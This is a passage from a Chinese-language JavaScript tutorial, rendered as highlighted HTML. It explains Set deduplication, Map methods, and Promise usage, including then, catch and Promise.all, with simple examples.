class="number">4</span>];</span><br><span class="line"><span class="title class_">Array</span>.<span class="title function_">from</span>(<span class="keyword">new</span> <span class="title class_">Set</span>(arr));</span><br><span class="line"><span class="comment">// [1, 2, 3, 4]</span></span><br></pre></td></tr></table></figure><h1 id="Map"><a href="#Map" class="headerlink" title="Map"></a>Map</h1><p>Map 数据结构类似于对象，是键值对的集合，传统的键只能用字符串，Map 的键不限于字符串，各种类型的值（包括对象）都可以当作键。<br>属性和操作方法</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">size 属性，返回 <span class="title class_">Map</span> 结构的成员总数</span><br><span class="line"><span class="title function_">set</span>(key,value)方法，设置set方法设置键名key对应的键值为value，然后返回整个 <span class="title class_">Map</span> 结构。如果key已经有值，则键值会被更新，否则就新生成该</span><br><span class="line"><span class="title function_">get</span>(key) 方法，读取key对应的键值，如果找不到key，返回<span class="literal">undefined</span></span><br><span class="line"><span class="title function_">has</span>(key) 方法，返回一个布尔值，表示某个键是否在当前 <span class="title class_">Map</span> 对象之中。</span><br><span class="line"><span class="title function_">delete</span>(key) 方法，删除某个键，返回<span class="literal">true</span>。如果删除失败，返回<span class="literal">false</span>。</span><br><span class="line"><span class="title function_">clear</span>(key) 方法，清除所有成员，没有返回值。</span><br></pre></td></tr></table></figure><p>Map 遍历</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">keys</span>() <span class="comment">// 返回键名的遍历器</span></span><br><span class="line"><span class="title function_">values</span>() <span class="comment">// 返回键值的遍历器</span></span><br><span class="line"><span class="title function_">entries</span>() <span class="comment">// 返回所有成员的遍历器</span></span><br><span class="line"><span class="title function_">forEach</span>() <span class="comment">// 遍历Map的所有成员</span></span><br></pre></td></tr></table></figure><h1 id="Promise-教程"><a href="#Promise-教程" class="headerlink" title="Promise 教程"></a>Promise 教程</h1><h2 id="Promise-实例对象"><a href="#Promise-实例对象" class="headerlink" title="Promise 实例对象"></a>Promise 实例对象</h2><blockquote><p>Promise 是异步编程的一种解决方案 ，比传统的解决方案（回调函数和事件）更合理和更强大 </p></blockquote><p> 所谓Promise，简单说就是一个容器，里面保存着某个未来才会结束的事件（通常是一个异步操作）的结果</p><p><strong>Promise对象特点</strong></p><pre><code>（1）Promise对象可以保存异步操作的结果（2）Promise异步操作具有三种状态，Pending、Resolved 和 Rejected（3）Promise对象状态的改变只存在两种情况，Pending 到 Resolved 或者 Pending 到 Rejected（4）Promise对象的状态一旦确定，那么就无法改变，要么是 Resolved，要么是 Rejected</code></pre><p><strong>特别说明</strong>：Pending表示等待状态，Resolved表示处于完成状态，Rejected处于未完成状态</p><p>既然Promise创建的实例对象，是一个异步操作，那么异步操作的结果，只能有两种状态：</p><p>​        状态1：异步执行成功，需要在内部调用成功的回调函数<code>resolve</code>把结果返回给调用者</p><p>​        状态2：异步操作失败，需要在内部调用失败的回调函数<code>reject</code> 把结果返回给调用者</p><p><strong>基本用法</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (异步操作成功) &#123;</span><br><span class="line">        <span class="title function_">resolve</span>(value)<span class="comment">// 异步操作成功，就会调用这个回调函数，并把异步成功的结果当做参数</span></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="title function_">reject</span>(error)<span class="comment">// 异步操作失败，就会调用这个回调函数，并把异步失败的结果当做参数</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>简单分析：</p><p>（1）通过构造函数<code>new Promise()</code>可以创建一个Promise对象实例，构造函数的参数是一个回调函数</p><p>（2）构造函数的回调函数具有两个函数参数，由引擎提供，也就是不需要我们提供</p><p>（3）执行resolve函数，那么状态变为Resolved，执行reject函数，状态变为Rejected</p><p>（4）构造函数调用后，回调函数会<strong>立马执行</strong>，然后根据调用的是resolve还是reject函数，确定状态</p><p>（5）状态确定后，再利用then方法执行对应的操作</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">p.<span class="title function_">then</span>(<span class="function">(<span class="params">value</span>) =&gt;</span> &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(value)  <span class="comment">// 这个value就是resolve(value)的参数value</span></span><br><span class="line">&#125;, <span class="function">(<span class="params">error</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(error)  <span class="comment">// 这个error就是reject(error)的参数error</span></span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>简单分析：</p><p>（1）.then方法的参数是两个回调函数</p><p>（2）如果p处于Resolved完成状态，那么执行第一个回调函数，如果处于Rejected状态，那么执行第二个回调函数</p><p>（3）回调函数中的参数value，分别是传递给resolve和reject函数的参数</p><p>（4） 第二回调函数是可以省略的 </p><p><strong>Promise示例</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="title function_">resolve</span>(<span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">    &#125;, <span class="number">5000</span>)</span><br><span class="line">&#125;)</span><br><span class="line">p.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">value</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(value)</span><br><span class="line">&#125;)</span><br><span class="line"><span class="comment">// 5秒后输出 hello</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">getHello</span>(<span class="params">ms</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">        <span class="built_in">setTimeout</span>(resolve, ms, <span class="string">&#x27;hello&#x27;</span>) <span class="comment">// setTimeout(函数, 延时时间ms, 参数)</span></span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">getHello</span>(<span class="number">5000</span>).<span class="title function_">then</span>(<span class="function">(<span class="params">value</span>) =&gt;</span> &#123; <span class="comment">// 5s后输出hello  getHello(5000)=&gt;返回一个实例对象</span></span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(value)</span><br><span class="line">&#125;)</span><br><span class="line"><span class="comment">// 5秒后输出 hello</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">1</span>);</span><br><span class="line">  <span class="title function_">resolve</span>();</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">2</span>)</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">p.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">3</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">4</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 1 2 4 3</span></span><br></pre></td></tr></table></figure><p>上面代码中， Promise 新建后立即执行 ，首先输出1，然后，then方法指定的回调函数，将在当前脚本所有同步任务执行完才会执行，所以resolved最后输出。</p><p>resolve回调函数的参数除了正常的值以外，还可以返回另外一个Promise实例对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> p1 = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">res, rej</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> <span class="title function_">rej</span>(<span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;失败&#x27;</span>)), <span class="number">3000</span>)</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> p2 = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">res, rej</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> <span class="title function_">res</span>(p1), <span class="number">1000</span>)</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line">p2.<span class="title function_">then</span>(<span class="function"><span class="params">value</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(value), <span class="function"><span class="params">error</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(error)) <span class="comment">// 3s后输出 Error: 失败</span></span><br></pre></td></tr></table></figure><p>上面代码中，p1是一个 Promise，3 秒之后变为rejected。p2的状态在 1 秒之后改变，resolve方法返回的是p1。由于p2返回的是另一个 Promise，导致p2自己的状态无效了，由p1的状态决定p2的状态。所以，后面的then语句都变成针对后者（p1）。又过了 2 秒，p1变为rejected，导致触发catch方法指定的回调函数。</p><p><strong>注意点</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line"><span class="title function_">resolve</span>(<span class="number">1</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">2</span>);</span><br><span class="line">&#125;).<span class="title function_">then</span>(<span class="function"><span class="params">v</span> =&gt;</span> &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(v);</span><br><span class="line">&#125;);</span><br><span class="line"><span class="comment">// 2</span></span><br><span class="line"><span class="comment">// 1</span></span><br></pre></td></tr></table></figure><p> 一般来说，调用<code>resolve</code>或<code>reject</code>以后，Promise 的使命就完成了，后继操作应该放到<code>then</code>方法里面，而不应该直接写在<code>resolve</code>或<code>reject</code>的后面。所以，最好在它们前面加上<code>return</code>语句，这样就不会有意外 </p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="title function_">resolve</span>(<span class="number">1</span>);</span><br><span class="line"><span class="comment">// 后面的语句不会执行</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">2</span>);</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><h2 id="then-方法"><a href="#then-方法" class="headerlink" title=".then() 方法"></a>.then() 方法</h2><p><strong><code>只要是Promise实例对象就能调用then方法</code></strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">p.<span class="title function_">then</span>(onResolved, onRejected)</span><br><span class="line"></span><br><span class="line"><span class="comment">// onResolved：必需，当Promise对象变为 Resolved 状态时的回调函数</span></span><br><span class="line"><span class="comment">// onRejected：可选，当Promise对象变为 Rejected 状态时的回调函数</span></span><br></pre></td></tr></table></figure><p>Promise 实例对象具有then方法，也就是说，then方法是定义在原型对象Promise.prototype上的</p><p>调用then方法，预先为这个Promise异步操作，指定成功(resolve)和失败(reject)回调函数</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="title function_">resolve</span>(<span class="string">&#x27;resolve被调用&#x27;</span>);</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_">reject</span>(<span class="string">&#x27;reject被调用&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"> </span><br><span class="line">p.<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123; <span class="variable language_">console</span>.<span class="title function_">log</span>(res)&#125;, <span class="function">(<span class="params">err</span>) =&gt;</span> &#123; <span class="variable language_">console</span>.<span class="title function_">log</span>(err) &#125;)</span><br><span class="line"><span class="comment">// resolve被调用</span></span><br></pre></td></tr></table></figure><p>分析：</p><p>调用Promise构造函数后，其回调函数会立马被调用</p><p>通过if语句判断之后，resolve()会被调用，于是Promise对象状态变为Resolved</p><p>于是就会执行then的第一个回调函数，打印结果是”resolve被调用”</p><p><strong>then()方法返回一个promise对象，所以可以使用链式调用方式</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="title function_">resolve</span>(<span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">p.<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(res);</span><br><span class="line">    <span class="keyword">return</span> <span class="string">`<span class="subst">$&#123;res&#125;</span> world`</span></span><br><span class="line">&#125;).<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(res);</span><br><span class="line">&#125;)</span><br><span class="line"><span class="comment">// hello</span></span><br><span class="line"><span class="comment">// hello world</span></span><br></pre></td></tr></table></figure><p>分析：</p><p>上述代码中，第二个then()方法的回调函数的参数是上一个then回调函数的返回值</p><p>then方法返回的是一个新的Promise实例（注意，不是原来那个Promise实例）。因此可以采用链式写法，即then方法后面再调用另一个then方法。</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">res, rej</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(res, <span class="number">3000</span>, <span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">&#125;).<span class="title function_">then</span>(<span class="function"><span class="params">v</span> =&gt;</span> v).<span class="title function_">then</span>(<span class="function">(<span class="params">r</span>) =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(r)) <span class="comment">// 3s后输出hello</span></span><br></pre></td></tr></table></figure><p>上面代码，可以看出，第二then的成功回调函数参的数，其实就是第一个then成功回调函数return返回的值，也就是说第一个then返回的值当做第二then的参数</p><h2 id="catch-方法"><a href="#catch-方法" class="headerlink" title=".catch() 方法"></a>.catch() 方法</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">p.<span class="title function_">catch</span>(onRejected);</span><br><span class="line"></span><br><span class="line"><span class="comment">// onRejected：必需，当 p 的状态变为 Rejected 时，此回调函数就会执行</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Promise</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="title function_">catch</span>()方法是</span><br><span class="line">.<span class="title function_">then</span>(<span class="literal">null</span>, reject)</span><br><span class="line">或</span><br><span class="line">.<span class="title function_">then</span>(<span class="literal">undefined</span>, reject) 的别名，用于指定发生错误时的回调函数</span><br></pre></td></tr></table></figure><p>下面代码中， </p><p>如果该对象状态变为<code>resolved</code>，则会调用<code>then()</code>方法指定的回调函数</p><p>如果异步操作抛出错误，状态就会变为<code>rejected</code>，就会调用<code>catch()</code>方法指定的回调函数，处理这个错误</p><p>另外，<code>then()</code>方法指定的回调函数，如果运行中抛出错误，也会被<code>catch()</code>方法捕获。</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">p</span><br><span class="line">.<span class="title function_">then</span>(<span class="function">(<span class="params">value</span>) =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;成功：&#x27;</span>, value))</span><br><span class="line">.<span class="title function_">catch</span>(<span class="function">(<span class="params">error</span>) =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;失败：&#x27;</span>, error))</span><br></pre></td></tr></table></figure><p>上面代码等同于：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">p</span><br><span class="line">.<span class="title function_">then</span>(<span class="function">(<span class="params">value</span>) =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;成功：&#x27;</span>, value))</span><br><span class="line">.<span class="title function_">then</span>(<span class="literal">null</span>, <span class="function">(<span class="params">error</span>) =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;失败：&#x27;</span>, error))</span><br></pre></td></tr></table></figure><p>示例</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">res, rej</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;错误&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">p.<span class="title function_">catch</span>(<span class="function">(<span class="params">error</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(error)</span><br><span class="line">&#125;)</span><br><span class="line"><span class="comment">// Error: 错误</span></span><br></pre></td></tr></table></figure><p> 上面代码中，<code>promise</code>抛出一个错误，就被<code>catch()</code>方法指定的回调函数捕获。注意，上面的写法与下面两种写法是等价的。 </p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 写法一</span></span><br><span class="line"><span class="keyword">const</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;错误&#x27;</span>)</span><br><span class="line">  &#125; <span class="keyword">catch</span>(e) &#123;</span><br><span class="line">    <span class="title function_">reject</span>(e)</span><br><span class="line">  &#125;</span><br><span class="line">&#125;)</span><br><span class="line">p.<span class="title function_">catch</span>(<span class="function">(<span class="params">error</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(error) <span class="comment">// Error: 错误</span></span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 写法二</span></span><br><span class="line"><span class="keyword">const</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="title function_">reject</span>(<span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;错误&#x27;</span>))</span><br><span class="line">&#125;)</span><br><span class="line">p.<span class="title function_">catch</span>(<span class="function">(<span class="params">error</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(error) <span class="comment">// Error: 错误</span></span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p> 比较上面两种写法，可以发现<code>reject()</code>方法的作用，等同于抛出错误。 </p><p> 如果 Promise 状态已经变成<code>resolved</code>，再抛出错误是无效的。 </p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="title function_">resolve</span>(<span class="string">&#x27;yes&#x27;</span>);</span><br><span class="line">  <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;no&#x27;</span>);</span><br><span class="line">&#125;);</span><br><span class="line">p</span><br><span class="line">.<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123; <span class="variable language_">console</span>.<span class="title function_">log</span>(res) &#125;)</span><br><span class="line">.<span class="title function_">catch</span>(<span class="function">(<span class="params">err</span>) =&gt;</span> &#123; <span class="variable language_">console</span>.<span class="title function_">log</span>(err) &#125;)</span><br><span class="line"><span class="comment">// yes</span></span><br></pre></td></tr></table></figure><p> 上面代码中，Promise 在<code>resolve</code>语句后面，再抛出错误，不会被捕获，等于没有抛出。因为 Promise 的状态一旦改变，就永久保持该状态，不会再变了。</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span> (<span class="literal">false</span>) &#123;</span><br><span class="line">    <span class="title function_">resolve</span>()</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_">reject</span>()</span><br><span class="line">  &#125;</span><br><span class="line">&#125;)</span><br><span class="line"> </span><br><span class="line">p</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;异步成功&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">catch</span>(<span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;异步失败&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line"><span class="comment">// 异步失败</span></span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span> (<span class="literal">false</span>) &#123;</span><br><span class="line">    <span class="title function_">resolve</span>()</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_">reject</span>()</span><br><span class="line">  &#125;</span><br><span class="line">&#125;)</span><br><span class="line"> </span><br><span class="line">p</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;异步成功&#x27;</span>)</span><br><span class="line">&#125;, <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;异步失败&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line"><span class="comment">// 异步失败</span></span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span> (<span class="literal">false</span>) &#123;</span><br><span class="line">    <span class="title function_">resolve</span>()</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_">reject</span>()</span><br><span class="line">  &#125;</span><br><span class="line">&#125;)</span><br><span class="line"> </span><br><span class="line">p</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;异步成功&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="function">() =&gt;</span> &#123;&#125;, <span class="function">() =&gt;</span> &#123; <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;异步失败&#x27;</span>) &#125;)</span><br><span class="line"><span class="comment">// 异步失败</span></span><br></pre></td></tr></table></figure><p><strong>catch()可以捕获它之前Rejected状态变化，不必紧邻</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line">  <span class="title function_">reject</span>()</span><br><span class="line">&#125;);</span><br><span class="line"> </span><br><span class="line">p.</span><br><span class="line"><span class="title function_">then</span>(<span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">  <span class="comment">//code</span></span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">  <span class="comment">//code</span></span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">catch</span>(<span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;错误失败&quot;</span>)</span><br><span class="line">&#125;)</span><br><span class="line"><span class="comment">// 错误失败</span></span><br></pre></td></tr></table></figure><h2 id="all-方法"><a href="#all-方法" class="headerlink" title=".all() 方法"></a>.all() 方法</h2><p>等待所有都完成（或第一个失败）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> p1 = <span class="title class_">Promise</span>.<span class="title function_">resolve</span>(<span class="number">3</span>);</span><br><span class="line"><span class="keyword">const</span> p2 = <span class="number">100</span>;</span><br><span class="line"><span class="keyword">const</span> p3 = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="built_in">setTimeout</span>(resolve, <span class="number">100</span>, <span class="string">&#x27;ok&#x27;</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="title class_">Promise</span>.<span class="title function_">all</span>([p1, p2, p3]).<span class="title function_">then</span>(<span class="function">(<span class="params">values</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(values); <span class="comment">// [3, 100, &quot;ok&quot;]</span></span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>Promise.all 可以将多个Promise实例包装成一个新的Promise实例。同时，成功和失败的返回值是不同的，成功的时候返回的是一</p><p>个结果数组，而失败的时候则返回最先被reject失败状态的值</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> p1 = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="title function_">resolve</span>(<span class="string">&#x27;p1_success&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> p2 = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="title function_">resolve</span>(<span class="string">&#x27;p2_success&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> p3 = <span class="title class_">Promise</span>.<span class="title function_">reject</span>(<span class="string">&#x27;p3_fail&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="title class_">Promise</span>.<span class="title function_">all</span>([p1, p2]).<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(res)  <span class="comment">// [&#x27;p1_success&#x27;, &#x27;p2_success&#x27;]</span></span><br><span class="line">&#125;).<span class="title function_">catch</span>(<span class="function">(<span class="params">error</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(err)</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="title class_">Promise</span>.<span class="title function_">all</span>([p1, p3 ,p2]).<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(res)</span><br><span class="line">&#125;).<span class="title function_">catch</span>(<span class="function">(<span class="params">err</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(err)      <span class="comment">// &#x27;p3_fail&#x27;</span></span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="title function_">wake</span> = (<span class="params">time</span>) =&gt; &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">      <span class="title function_">resolve</span>(<span class="string">`<span class="subst">$&#123;time / <span class="number">1000</span>&#125;</span>秒后醒来`</span>)</span><br><span class="line">    &#125;, time)</span><br><span class="line">  &#125;)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> p1 = <span class="title function_">wake</span>(<span class="number">3000</span>)</span><br><span class="line"><span class="keyword">let</span> p2 = <span class="title function_">wake</span>(<span class="number">2000</span>)</span><br><span class="line"></span><br><span class="line"><span class="title class_">Promise</span>.<span class="title function_">all</span>([p1, p2]).<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title 